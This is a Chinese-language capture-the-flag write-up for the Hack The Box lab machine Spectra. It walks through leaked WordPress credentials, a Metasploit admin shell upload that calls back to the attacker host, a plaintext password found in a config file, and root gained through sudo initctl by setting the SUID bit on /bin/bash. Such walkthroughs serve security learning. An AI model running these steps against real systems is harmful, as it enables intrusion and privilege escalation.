靶机:Spectra
难度:Easy
信息收集
nmap扫描
|
|
扫描结果
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|_ 4096 52:47:de:5c:37:4f:29:0e:8e:1d:88:6e:f9:23:4d:5a (RSA)
80/tcp open http nginx 1.17.4
|_http-server-header: nginx/1.17.4
|_http-title: Site doesn't have a title (text/html).
3306/tcp open mysql MySQL (unauthorized)
|_ssl-cert: ERROR: Script execution failed (use -d to debug)
|_ssl-date: ERROR: Script execution failed (use -d to debug)
|_sslv2: ERROR: Script execution failed (use -d to debug)
|_tls-alpn: ERROR: Script execution failed (use -d to debug)
|_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug)
ssh爆破
|
|
失败
渗透过程
wordpress渗透
在/etc/hosts
添加10.10.10.229 spectra.htb
访问主页有两个链接,一个是wordpress站点,果断掏出我的wpscan:
|
|
扫不出啥东西。。。
另一个存在文件泄露,在wp-config.php.save文件中发现了数据库配置信息:
|
|
mysql只能本地连,那就后台登录,显示用户名未知,换成administrator就可以成功登录。
成功登陆后我们就可以使用msf反弹shell
use exploit/unix/webapp/wp_admin_shell_upload
set RHOST 10.10.10.229
set LHOST 10.10.16.3
set TARGETURI /main/
set USERNAME administrator
set PASSWORD devteam01
run
成功生成meterpreter,然后生成shell
meterpreter> shell
这时候是无终端状态,可以通过python3 -c "import pty;pty.spawn('/bin/bash')"
生成终端,但是做题的时候直接使用会出错,仔细看报错:
cwd = os.getcwd()
路径未知导致报错,所以我们要给一个路径,先切到/tmp
目录下再生成终端就能成功
cd /tmp
python3 -c "import pty;pty.spawn('/bin/bash')"
user.txt
在katie用户目录下可以看到user.txt,但是由于权限问题无法读取,所以接下来的任务就是登录该用户获得flag。
进入/opt
(拼运气,蒙到就是赚到),看到文件autologin.conf.orig
|
|
虽然看不懂这脚本在干啥,但是可以看到它使用了什么目录,从目录中可以获得passwd:SummerHereWeCome!!,然后依次尝试ssh连接几个用户,成功登录katie获得user.txt(直接切换用户没成功,也不知道啥原因)
ssh katie@10.10.10.229
SummerHereWeCome!!
root.txt
通过sudo -l
查看当前用户(katie)可以直接执行的二进制文件
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
文件描述: initctl命令的作用是控制和管理init守护进程
initctl命令包含在upstart提供的命令中。upstart是使用的事件驱动的一个优化,该优化体现为启动服务A的时候,不用等待A的结束就可以启动服务B了。
initctl命令允许系统管理员与upstart init后台守护进程交互。当作为initctl运行时,第一个非选项参数是命令本身,其他参数可以在命令之前或之后指定。默认为start、stop、restart、reload和status命令。
简单来说就是initctl命令在权限允许的情况下可以启动新的进程/服务,由于默认是start等命令,这些命令的默认启动目录都是/etc/init
目录,所以进入/etc/init
看看有什么进程文件,有很多文件,但是一眼就能看出以test为名的"不正经"文件,读出来看看,是katie权限的进程文件。列举出所有test文件:
|
|
都是stop状态,那么我们可以随便修改一个文件再启动就可以获得sudo权限。
description "Test node.js server"
author "katie"
start on filesystem or runlevel [2345]
stop on shutdown
script
chmod +s /bin/bash
end script
启动文件
sudo /sbin/initctl start test3
最后通过命令/bin/bash -p
成功提权。
总结
1、不能独立做题,过度依赖wp
2、有了用户密码没有想到尝试后台
3、渗透要使用msf,对msf了解不足
4、对Linux文件了解不够,一些命令的用法不清楚
5、提权知识不够